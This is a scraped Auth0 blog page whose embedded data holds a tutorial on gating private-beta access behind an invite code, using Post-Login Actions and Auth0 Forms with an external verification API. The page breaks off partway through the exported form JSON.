href="/docs/api" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">APIs<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/docs/libraries" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">SDK Libraries<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://auth0.com/blog/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Blog<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://auth0.com/resources/ebooks" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Reports<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://auth0.com/resources/webinars" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Webinars<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Support Center</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://community.auth0.com/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Community<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://support.auth0.com/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Support<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://community.auth0.com/c/help/6" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Help<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://community.auth0.com/c/faq/42" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">FAQs<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://marketplace.auth0.com" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Auth0 Marketplace<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Company</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/customers" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Our Customers<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/security" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Compliance - Ensuring privacy and security<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/partners" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Partners<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://www.okta.com/company/careers/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Careers<!-- --> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 hYaXSW lbFYLj">We&#x27;re hiring!</span></a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://www.okta.com/company/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">About us<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Get Involved</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://developer.auth0.com/events" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Events<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/research-program" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Auth0 Research Program<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Learning</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/learn" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Learn<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/intro-to-iam" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Intro to IAM (CIAM)<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://auth0.com/blog/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Blog<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Platform</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/platform/access-management" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Access Management<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/platform/extensibility" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Extensibility<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/platform/login-security" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Security<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/platform/user-management" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">User Management<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/platform/authentication" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Authentication<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/platform/cloud-deployment" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Cloud deployments<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/fine-grained-authorization" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Fine Grained Authorization<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Features</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/universal-login" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Universal Login<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/single-sign-on" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Single Sign On<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/multifactor-authentication" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Multifactor Authentication<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/actions" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Actions<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/machine-to-machine" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Machine to Machine<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/passwordless" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Passwordless<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/features/breached-passwords" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Breached Passwords<!-- --> </a></li></ul></section><section class="styled__LastSection-sc-1gk46x3-6 bIoZHy"><div class="styled__Icons-sc-1gk46x3-7 ePaSVl"><a href="https://twitter.com/auth0" target="_blank" rel="noopener noreferrer" aria-label="Twitter link" class="styled__IconsLink-sc-1gk46x3-8 bqgUVT"><svg viewBox="0 0 24 24" aria-hidden="true" width="24" height="24" fill="none"><g><path fill="#fff" d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z"></path></g></svg></a><a href="https://linkedin.com/company/auth0" target="_blank" rel="noopener noreferrer" aria-label="Linkedin link" class="styled__IconsLink-sc-1gk46x3-8 bqgUVT"><svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19.5561 3H4.53738C3.71707 3 2.99988 3.59063 2.99988 4.40156V19.4531C2.99988 20.2687 3.71707 20.9953 4.53738 20.9953H19.5514C20.3764 20.9953 20.9952 20.2641 20.9952 19.4531V4.40156C20.9999 3.59063 20.3764 3 19.5561 3ZM8.578 18H5.99988V9.98438H8.578V18ZM7.378 8.76562H7.35925C6.53425 8.76562 5.99988 8.15156 5.99988 7.38281C5.99988 6.6 6.54831 6 7.39206 6C8.23581 6 8.75144 6.59531 8.77019 7.38281C8.77019 8.15156 8.23581 8.76562 7.378 8.76562ZM17.9999 18H15.4218V13.6172C15.4218 12.5672 15.0468 11.85 14.1139 11.85C13.4014 11.85 12.9796 12.3328 12.7921 12.8016C12.7218 12.9703 12.703 13.2 12.703 13.4344V18H10.1249V9.98438H12.703V11.1C13.078 10.5656 13.6639 9.79688 15.028 9.79688C16.7202 9.79688 17.9999 10.9125 17.9999 13.3172V18Z" fill="#fff"></path></svg></a><a href="https://github.com/auth0" target="_blank" rel="noopener noreferrer" aria-label="Github link" class="styled__IconsLink-sc-1gk46x3-8 bqgUVT"><svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12 1.5C6.20156 1.5 1.5 6.32344 1.5 12.2672C1.5 17.025 4.50937 21.0562 8.68125 22.4813C8.74687 22.4953 8.80312 22.5 8.85938 22.5C9.24844 22.5 9.39844 22.2141 9.39844 21.9656C9.39844 21.7078 9.38906 21.0328 9.38437 20.1328C8.99062 20.2219 8.63906 20.2594 8.325 20.2594C6.30469 20.2594 5.84531 18.6891 5.84531 18.6891C5.36719 17.4469 4.67813 17.1141 4.67813 17.1141C3.76406 16.4719 4.67344 16.4531 4.74375 16.4531H4.74844C5.80313 16.5469 6.35625 17.5687 6.35625 17.5687C6.88125 18.4875 7.58437 18.7453 8.2125 18.7453C8.70469 18.7453 9.15 18.5859 9.4125 18.4641C9.50625 17.7703 9.77812 17.2969 10.0781 17.025C7.74844 16.7531 5.29688 15.8297 5.29688 11.7047C5.29688 10.5281 5.70469 9.56719 6.375 8.81719C6.26719 8.54531 5.90625 7.44844 6.47812 5.96719C6.47812 5.96719 6.55312 5.94375 6.7125 5.94375C7.09219 5.94375 7.95 6.08906 9.36563 7.07344C10.2047 6.83437 11.1 6.71719 11.9953 6.7125C12.8859 6.71719 13.7859 6.83437 14.625 7.07344C16.0406 6.08906 16.8984 5.94375 17.2781 5.94375C17.4375 5.94375 17.5125 5.96719 17.5125 5.96719C18.0844 7.44844 17.7234 8.54531 17.6156 8.81719C18.2859 9.57188 18.6937 10.5328 18.6937 11.7047C18.6937 15.8391 16.2375 16.7484 13.8984 17.0156C14.2734 17.3484 14.6109 18.0047 14.6109 19.0078C14.6109 20.4469 14.5969 21.6094 14.5969 21.9609C14.5969 22.2141 14.7422 22.5 15.1312 22.5C15.1875 22.5 15.2531 22.4953 15.3187 22.4813C19.4953 21.0562 22.5 17.0203 22.5 12.2672C22.5 6.32344 17.7984 1.5 12 1.5Z" fill="#fff"></path></svg></a></div></section></nav><section class="styled__FooterBottom-sc-1gk46x3-10 iyAPaK"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 kgFLyt dVQvBz">© <!-- -->2025<!-- --> Okta, Inc. All Rights Reserved.</p><div class="styled__Legal-sc-1gk46x3-12 blPSfp"><a href="https://status.auth0.com" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Status</a> <!-- -->•<!-- --> <a href="https://www.okta.com/agreements/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Legal</a> <!-- -->•<!-- --> <a href="/privacy" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Privacy</a> <!-- -->•<!-- --> <a href="https://www.okta.com/terms-of-service" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Terms</a> <!-- -->•<!-- --> <a href="/your-privacy-choices" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Your Privacy Choices</a><img alt="" src="https://cdn.auth0.com/website/footer/ccpa.svg"/></div></section><section class="styled__FooterBottomMobile-sc-1gk46x3-9 gobPqK"><div class="styled__Icons-sc-1gk46x3-7 bqmjrK"><a href="https://twitter.com/auth0" target="_blank" rel="noopener noreferrer" aria-label="Twitter link" class="styled__IconsLink-sc-1gk46x3-8 bqgUVT"><svg viewBox="0 0 24 24" aria-hidden="true" width="24" height="24" fill="none"><g><path fill="#fff" d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z"></path></g></svg></a><a href="https://linkedin.com/company/auth0" target="_blank" rel="noopener noreferrer" aria-label="Linkedin link" class="styled__IconsLink-sc-1gk46x3-8 bqgUVT"><svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19.5561 3H4.53738C3.71707 3 2.99988 3.59063 2.99988 4.40156V19.4531C2.99988 20.2687 3.71707 20.9953 4.53738 20.9953H19.5514C20.3764 20.9953 20.9952 20.2641 20.9952 19.4531V4.40156C20.9999 3.59063 20.3764 3 19.5561 3ZM8.578 18H5.99988V9.98438H8.578V18ZM7.378 8.76562H7.35925C6.53425 8.76562 5.99988 8.15156 5.99988 7.38281C5.99988 6.6 6.54831 6 7.39206 6C8.23581 6 8.75144 6.59531 8.77019 7.38281C8.77019 8.15156 8.23581 8.76562 7.378 8.76562ZM17.9999 18H15.4218V13.6172C15.4218 12.5672 15.0468 11.85 14.1139 11.85C13.4014 11.85 12.9796 12.3328 12.7921 12.8016C12.7218 12.9703 12.703 13.2 12.703 13.4344V18H10.1249V9.98438H12.703V11.1C13.078 10.5656 13.6639 9.79688 15.028 9.79688C16.7202 9.79688 17.9999 10.9125 17.9999 13.3172V18Z" fill="#fff"></path></svg></a><a href="https://github.com/auth0" target="_blank" rel="noopener noreferrer" aria-label="Github link" class="styled__IconsLink-sc-1gk46x3-8 bqgUVT"><svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12 1.5C6.20156 1.5 1.5 6.32344 1.5 12.2672C1.5 17.025 4.50937 21.0562 8.68125 22.4813C8.74687 22.4953 8.80312 22.5 8.85938 22.5C9.24844 22.5 9.39844 22.2141 9.39844 21.9656C9.39844 21.7078 9.38906 21.0328 9.38437 20.1328C8.99062 20.2219 8.63906 20.2594 8.325 20.2594C6.30469 20.2594 5.84531 18.6891 5.84531 18.6891C5.36719 17.4469 4.67813 17.1141 4.67813 17.1141C3.76406 16.4719 4.67344 16.4531 4.74375 16.4531H4.74844C5.80313 16.5469 6.35625 17.5687 6.35625 17.5687C6.88125 18.4875 7.58437 18.7453 8.2125 18.7453C8.70469 18.7453 9.15 18.5859 9.4125 18.4641C9.50625 17.7703 9.77812 17.2969 10.0781 17.025C7.74844 16.7531 5.29688 15.8297 5.29688 11.7047C5.29688 10.5281 5.70469 9.56719 6.375 8.81719C6.26719 8.54531 5.90625 7.44844 6.47812 5.96719C6.47812 5.96719 6.55312 5.94375 6.7125 5.94375C7.09219 5.94375 7.95 6.08906 9.36563 7.07344C10.2047 6.83437 11.1 6.71719 11.9953 6.7125C12.8859 6.71719 13.7859 6.83437 14.625 7.07344C16.0406 6.08906 16.8984 5.94375 17.2781 5.94375C17.4375 5.94375 17.5125 5.96719 17.5125 5.96719C18.0844 7.44844 17.7234 8.54531 17.6156 8.81719C18.2859 9.57188 18.6937 10.5328 18.6937 11.7047C18.6937 15.8391 16.2375 16.7484 13.8984 17.0156C14.2734 17.3484 14.6109 18.0047 14.6109 19.0078C14.6109 20.4469 14.5969 21.6094 14.5969 21.9609C14.5969 22.2141 14.7422 22.5 15.1312 22.5C15.1875 22.5 15.2531 22.4953 15.3187 22.4813C19.4953 21.0562 22.5 17.0203 22.5 12.2672C22.5 6.32344 17.7984 1.5 12 1.5Z" fill="#fff"></path></svg></a></div><div class="styled__LegalAndLangMobile-sc-1gk46x3-11 hyLWBj"><div class="styled__Legal-sc-1gk46x3-12 blPSfp"><a href="https://status.auth0.com" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Status</a> <!-- -->•<!-- --> <a href="https://www.okta.com/agreements/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Legal</a> <!-- -->•<!-- --> <a href="/privacy" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Privacy</a> <!-- -->•<!-- --> <a href="https://www.okta.com/terms-of-service" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Terms</a> <!-- -->•<!-- --> <a href="/your-privacy-choices" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq lbFYLj">Your Privacy Choices</a><img alt="" src="https://cdn.auth0.com/website/footer/ccpa.svg"/></div></div><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 kgFLyt bqMfzV">© <!-- -->2025<!-- --> Okta, Inc. All Rights Reserved.</p></section></footer></div><div id="asset-library-root"></div><div id="modal-root"></div><div id="alert-root"></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"data":[{"title":"External User Verification with Forms","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"1FrbhfQhgWrgsH8ZJDKvTH","type":"Entry","createdAt":"2023-10-30T08:23:29.096Z","updatedAt":"2023-10-30T08:23:29.096Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":10,"revision":1,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"sam-yapkowitz","name":"Sam Yapkowitz","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"2URJJZG2CCOdo4Rjh1cgDw","type":"Asset","createdAt":"2023-10-30T08:21:45.800Z","updatedAt":"2023-10-30T08:21:45.800Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"sam-yapkowitz","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/2URJJZG2CCOdo4Rjh1cgDw/5dee973160fd3a7601fea8da31d7cabf/sam-yapkowitz.jpg","details":{"size":58877,"image":{"width":576,"height":576}},"fileName":"sam-yapkowitz.jpg","contentType":"image/jpeg"}}},"lastUpdatedBy":"andrea.chiarelli@auth0.com","email":"sam.yapkowitz@okta.com","twitter":null,"github":"https://github.com/samyap4","linkedin":"https://www.linkedin.com/in/sam-yapkowitz/","isPopular":false,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Specialist Solutions Engineer","description":"I began my career in enterprise software development and got exposure to lots of different frameworks and methodologies. I quickly realized my passion was in the architecture and design of solutions to unique problems. I now get to use these skills to help my customers build high-quality experiences using Okta. When not at work you can find me on the golf course, playing Rocket League or watching football with my friends."}}],"path":"external-user-verification-with-forms","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/18hCrkkVXFeeBwkAtezdS7/b2f50dd980a57e42e04866af64be8c14/Introducing_Auth0_Actions02C.png","size":{"width":2352,"height":2113}},"description":"Learn how to leverage Auth0 Forms to implement an invitation code workflow and improve the onboarding of your SaaS users.","category":["Engineering","Best Practices","Forms"],"tags":["verification","auth0","forms"],"postContent":"Some applications require a user to be verified by an external service before they can log in to the system. This can be in the form of an invite code for a free trial in a SaaS application, address verification for a real estate listing website, or maybe something more robust for a healthcare or financial services application. \n\nAuth0 recently released [**Custom Prompts**](https://auth0.com/docs/customize/login-pages/universal-login/customize-signup-and-login-prompts) to help app builders collect more information about their users upon signup. These fields can be captured, and further processing can be done with the [**Pre Registration Action Flow**](https://auth0.com/docs/customize/actions/flows-and-triggers/pre-user-registration-flow). Capturing too much information (or capturing information conditionally) can have impacts on the end-user experience. Auth0 has recently released [**Forms**](https://auth0.com/docs/customize/forms), a new drag-and-drop editor for collecting user information, executing workflows, and orchestrating event data, which can be applied to these verification workflows as well. For this article, we will address the invite code workflow where users must verify their invitation code before being able to log in to the application. \n\n\u003e Note: Custom Prompts and Forms work very nicely together as a user who completes a sign-up will then trigger a Login Flow where Forms can be launched.\n\nIn this blog post, we will leverage Auth0 Forms to collect this invite code and make an HTTP request to an externally hosted API to verify that the code + email combo is valid. This is one narrow use case, but the solution we are going to outline can handle any scenario where a user must provide input to be verified externally before granting access.\n\n## Use Case\n\nLet’s imagine you have a SaaS application that has an upcoming private Beta launch. You do not want to restrict users from signing up to your platform (so you can ingest them into your MarTech stack), but you do not want to allow them to officially log in to the platform unless they have been given access by a member of your team or an affiliate. You could solve this use case in many ways, and in this instance, we will solve this by having users provide an “Invite Code” to verify they have been given access by your backend application. You would send the user’s email alongside this code before approving their access to your private launch. You could collect this code during the signup phase using Auth0 Custom Prompts, but if they failed the validation, their account would not be created. Your goal is to create the accounts and then only gate access to the private beta behind this invite code.\n\n## Prompting a User with a Form\n\nWe will use a [Post-Login Action](https://auth0.com/docs/customize/actions/flows-and-triggers/login-flow) to launch a user into this flow. They will automatically enter this flow after sign up and any time they come back to your application. This Action will check a flag on the user's profile to see if they have been previously verified or not.\n\n```\nexports.onExecutePostLogin = async (event, api) =\u003e {\n if (event.user.app_metadata.verified !== true) {\n const FORM_ID = 'ap_eJWCKKPimBy86AyTRsQikQ';\n api.prompt.render(FORM_ID);\n }\n};\n```\n\nYou can access the Forms in your Auth0 tenant by navigating to **Actions** → **Forms**, which will launch the editor in a new tab. Here is the visual editor for our specific Flow:\n\n![High-Level Form Flow](https://images.ctfassets.net/23aumh6u8s0i/QXEH3o2wOejR8tqxbrbmv/336b75aecffe19167cae13a8e00e13a5/Uploaded_from_External_User_Verification_with_Forms)\n\n\u003ccenter\u003e _High Level Form Flow_ \u003c/center\u003e \u003cbr\u003e\n\n\nThe User is prompted to enter their invite code into a text prompt, and then a flow is invoked. In the image below, you can see the flow diagram that checks if the code result has an error, and if so, we will show an error message; otherwise, the flow continues.\n\n![Verification Flow](https://images.ctfassets.net/23aumh6u8s0i/3GAfnyuteWbHtDHNwROVCg/70627654f98b7ff16b88540c5412d75b/Uploaded_from_External_User_Verification_with_Forms)\n\u003ccenter\u003e _Verification Flow_ \u003c/center\u003e \u003cbr\u003e\n\nHere, we can see how to configure the HTTP request step to call your endpoint using the user’s email address and the collected invite code.\n\n![HTTP Request Structure](https://images.ctfassets.net/23aumh6u8s0i/oh5XRmbnILUdjN9WLnKML/3407054954d3b100612f18529cea8110/Uploaded_from_External_User_Verification_with_Forms)\n\u003ccenter\u003e _HTTP Request Structure_ \u003c/center\u003e \u003cbr\u003e\n\nBased on the response, if the result comes back as true, the user will continue the flow, and if not they will be shown an error message which will prevent them from continuing until they input a correct value.\n\n![Conditional Configuration](https://images.ctfassets.net/23aumh6u8s0i/3kzqJOpa2YLCkit2V3gG46/bd4fa60f27b24816454484671952ab49/Uploaded_from_External_User_Verification_with_Forms)\n\u003ccenter\u003e _Conditional Configuration_ \u003c/center\u003e \u003cbr\u003e\n\nOnce the user enters a correct value, the flow exits and returns to the main path, where it will let them know that access has been granted and they can continue using the application. Our Action that launched the flow must have a continue section to resume the authentication transaction, and we will also save a flag on their profile to prevent them from having to enter this flow again.\n\n```\nexports.onContinuePostLogin = async (event, api) =\u003e {\n api.user.setAppMetadata(\"verified\", true);\n};\n\n```\n\n![Success Prompt](https://images.ctfassets.net/23aumh6u8s0i/2YeCQcl1qBzU6IJQhgR2qr/51850095d1c6dda7f814fecc33ebd109/Uploaded_from_External_User_Verification_with_Forms)\n\u003ccenter\u003e _Success Prompt_ \u003c/center\u003e \u003cbr\u003e\n\nAnd here is the flow end-to-end for a new user who signs up and has a valid email + code combo.\n\n\u003cAmpContent\u003e\n\u003camp-youtube\n data-videoid=\"duROpUKZR04\"\n layout=\"responsive\"\n width=\"480\" height=\"270\"\u003e\n\u003c/amp-youtube\u003e\n\u003c/AmpContent\u003e\n\u003cNonAmpContent\u003e\n\u003cdiv class='embed-container' style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; max-width: 100%;margin-bottom:40px;\"\u003e\u003ciframe style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%;\" src='https://www.youtube.com/embed/duROpUKZR04' frameborder='0' allowfullscreen\u003e\u003c/iframe\u003e\u003c/div\u003e\n\u003c/NonAmpContent\u003e\n\u003ccenter\u003e _End to End User Journey_ \u003c/center\u003e \u003cbr\u003e \n\nHere is the finished JSON for you to begin building your verification flow today! You can import this directly into your tenant by navigating to the Forms window → Create Form → Import It!\n\n![Importing Existing Flow with JSON](https://images.ctfassets.net/23aumh6u8s0i/3vjVyJ42fDEDF3DC02nRKo/df261abe1b14ee4e6ac30852f80434ef/Uploaded_from_External_User_Verification_with_Forms)\n\u003ccenter\u003e _Importing Existing Flow with JSON_ \u003c/center\u003e \u003cbr\u003e\n\n```js\n{\n \"version\": \"3.0.0\",\n \"form\": {\n \"name\": \"Invite Code\",\n \"description\": null,\n \"messages\": {\n \"custom\": {},\n \"errors\": {}\n },\n \"languages\": {\n \"default\": null,\n \"primary\": \"en\"\n },\n \"translations\": {},\n \"start\": {\n \"nextNode\": \"step_Y3AO\",\n \"coordinates\": {\n \"x\": 22,\n \"y\": 167\n },\n \"hiddenFields\": []\n },\n \"nodes\": [\n {\n \"id\": \"step_Y3AO\",\n \"type\": \"STEP\",\n \"alias\": \"Collect Code\",\n \"config\": {\n \"nextNode\": \"flow_Cilk\",\n \"components\": [\n {\n \"id\": \"rich_text_sME2\",\n \"type\": \"RICH_TEXT\",\n \"config\": {\n \"content\": \"\u003ch3\u003e\u003cstrong\u003ePlease enter your invite code.\u003c/strong\u003e\u003c/h3\u003e\"\n },\n \"category\": \"BLOCK\"\n },\n {\n \"id\": \"invite_code\",\n \"hint\": null,\n \"type\": \"TEXT\",\n \"label\": \"Invite Code\",\n \"config\": {\n \"maxLength\": null,\n \"minLength\": null,\n \"multiline\": false,\n \"placeholder\": \"XXX-XXX\",\n \"defaultValue\": null\n },\n \"category\": \"FIELD\",\n \"required\": true,\n \"transient\": false\n },\n {\n \"id\": \"next_button_xlCe\",\n \"type\": \"NEXT_BUTTON\",\n \"config\": {\n \"text\": \"Continue\"\n },\n \"category\": \"BLOCK\"\n }\n ]\n },\n \"coordinates\": {\n \"x\": 323,\n \"y\": -36\n }\n },\n {\n \"id\": \"flow_Cilk\",\n \"type\": \"FLOW\",\n \"alias\": \"Verify Code\",\n \"config\": {\n \"flowId\": \"#FLOW-1#\",\n \"nextNode\": \"step_IifF\"\n },\n \"coordinates\": {\n \"x\": 1051,\n \"y\": 139\n }\n },\n {\n \"id\": \"step_IifF\",\n \"type\": \"STEP\",\n \"alias\": \"Verification Complete\",\n \"config\": {\n \"nextNode\": \"$ending\",\n \"components\": [\n {\n \"id\": \"rich_text_pMye\",\n \"type\": \"RICH_TEXT\",\n \"config\": {\n \"content\": \"\u003ch3\u003e\u003cstrong\u003eWelcome to Demo0, \u003c/strong\u003e\u003c/h3\u003e\u003ch3\u003e\u003cstrong\u003eClick Continue to get Started!\u003c/strong\u003e\u003c/h3\u003e\"\n },\n \"category\": \"BLOCK\"\n },\n {\n \"id\": \"next_button_Z6Md\",\n \"type\": \"NEXT_BUTTON\",\n \"config\": {\n \"text\": \"Continue\"\n },\n \"category\": \"BLOCK\"\n }\n ]\n },\n \"coordinates\": {\n \"x\": 1510,\n \"y\": -2\n }\n }\n ],\n \"ending\": {\n \"content\": null,\n \"redirection\": null,\n \"callback\": null,\n \"afterSubmit\": {\n \"email\": null,\n \"flowId\": null\n },\n \"coordinates\": {\n \"x\": 2194,\n \"y\": 110\n },\n \"resumeFlow\": true\n },\n \"social\": [],\n \"style\": {\n \"css\": null,\n \"theme\": \"ROUND\",\n \"version\": \"MODERN\"\n },\n \"tags\": []\n },\n \"flows\": {\n \"#FLOW-1#\": {\n \"name\": \"Verify Invite Code\",\n \"description\": null,\n \"actions\": [\n {\n \"id\": \"http_request_verify_code\",\n \"type\": \"HTTP\",\n \"alias\": \"Verify Invite Code\",\n \"notes\": null,\n \"action\": \"SEND_REQUEST\",\n \"params\": {\n \"url\": \"https://edge.samyap.dev/api/verify-code\",\n \"body\": {\n 